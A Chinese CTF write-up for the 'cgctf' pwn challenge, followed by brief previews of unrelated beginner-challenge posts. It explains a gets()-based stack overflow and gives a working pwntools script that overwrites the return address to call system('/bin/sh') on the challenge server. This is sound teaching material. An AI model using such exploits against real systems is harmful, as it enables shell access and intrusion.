題目**
cgctf
題目描述
菜雞認為自己需要乙個字串
題目場景
220.249.52.134:49499
題目附件
53c24fc5522e4a8ea2d9ad0577196b2f
題目思路:
題目給了pwn的函式是利用系統呼叫列印"hehehe",存在乙個call system在0x0804855a,由於hello函式中的gets函式獲取的字串s沒有輸入字元數量的限制,直接棧溢位,將返回位址覆蓋為call system,由於name在bss段中,位址固定不變,程式中呼叫了_system函式,但是沒有/bin/sh,把name賦值為/bin/sh並且將其作為引數傳給_system函式
解題過程:
拿到程式後,我們首先checksec
一下,發現是32位小端序,保護開啟了relro和nx,沒有stack和pie,載入ida,f5反編譯得到偽c**,進入hello函式:
char
*hello()
首先要求我們通過fgets函式輸入乙個名字,從鍵盤讀取最多0x32個字元到name區域,然後提示我們通過gets函式輸入一些資訊,沒有輸入字元數量的限制
.bss:0804a080 name db 34h dup(?) ; data xref: hello+77↑o
name是bss段的乙個大小為34的區域,s區域的起始位置是距離棧底0x26個位元組的地方,大小不限
-00000038 ;
......
-00000026 s db ?
......
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
在左邊的函式列表中,有乙個叫做pwn的函式,在實際執行過程中並不會被呼叫,這個函式利用系統呼叫列印"hehehe",按下tab後按下空格可以看到在0804855a 有乙個call _system
.text:0804854d pwn proc near
.text:0804854d ; __unwind // starts at 804854d
.text:08048561 pwn endp
在hello函式中有乙個部分用gets函式向棧的s區域讀取了字串,gets函式不限制字元數量程式並且沒有開啟stack保護,輸入字串覆蓋棧上hello函式的返回位址,程式執行完hello函式之後返回到call _system這裡,然後把name賦值為/bin/sh,最後把name也就是/bin/sh當引數傳入system。
指令碼:
from pwn import
*p = remote(
'220.249.52.134'
,49499
)name=
0x0804a080
callsystem=
0x0804855a
parameter=
"/bin/sh"
#引數payload=
"a"*
0x26
+"a"*4
+p32(callsystem)
+p32(name)
#26+4到達返回位址後依次傳入call_system和name的位址
p.recvuntil(
"name"
)p.sendline(parameter)
p.recvuntil(
"here:"
)p.sendline(payload)
p.interactive(
)
cyberpeace 攻防世界 新手區web
2020 11 1 用來記錄我的web之路 當乙個搜尋蜘蛛訪問乙個站點時,它會首先檢查該站點根目錄下是否存在robots.txt,如果存在,搜尋機械人就會按照該檔案中的內容來確定訪問的範圍 如果該檔案不存在,所有的搜尋蜘蛛將能夠訪問 上所有沒有被口令保護的頁面。暫時不太了解爬蟲技術 robots是一...
攻防世界新手區題目wp
雖然是菜雞題目,但俺依然不太會做 上網看了一下wp,就是ida開啟,然後shift f12,搜尋flag ord 的作用是返回字元相應的ascii十進位制編碼,比如ord a 會返回97 另外如果a b ca oplus b c a b c,可以推出來a b b a 0 aa oplus b opl...
Web 攻防世界新手區題解
1.view source x老師讓小寧同學檢視乙個網頁的源 但小寧同學發現滑鼠右鍵好像不管用了。本題開啟網頁檢視源 即得到flag 2.robots x老師上課講了robots協議,小寧同學卻上課打了瞌睡,趕緊來教教小寧robots協議是什麼吧。本題看提示robots協議,就在位址列後面跟上rob...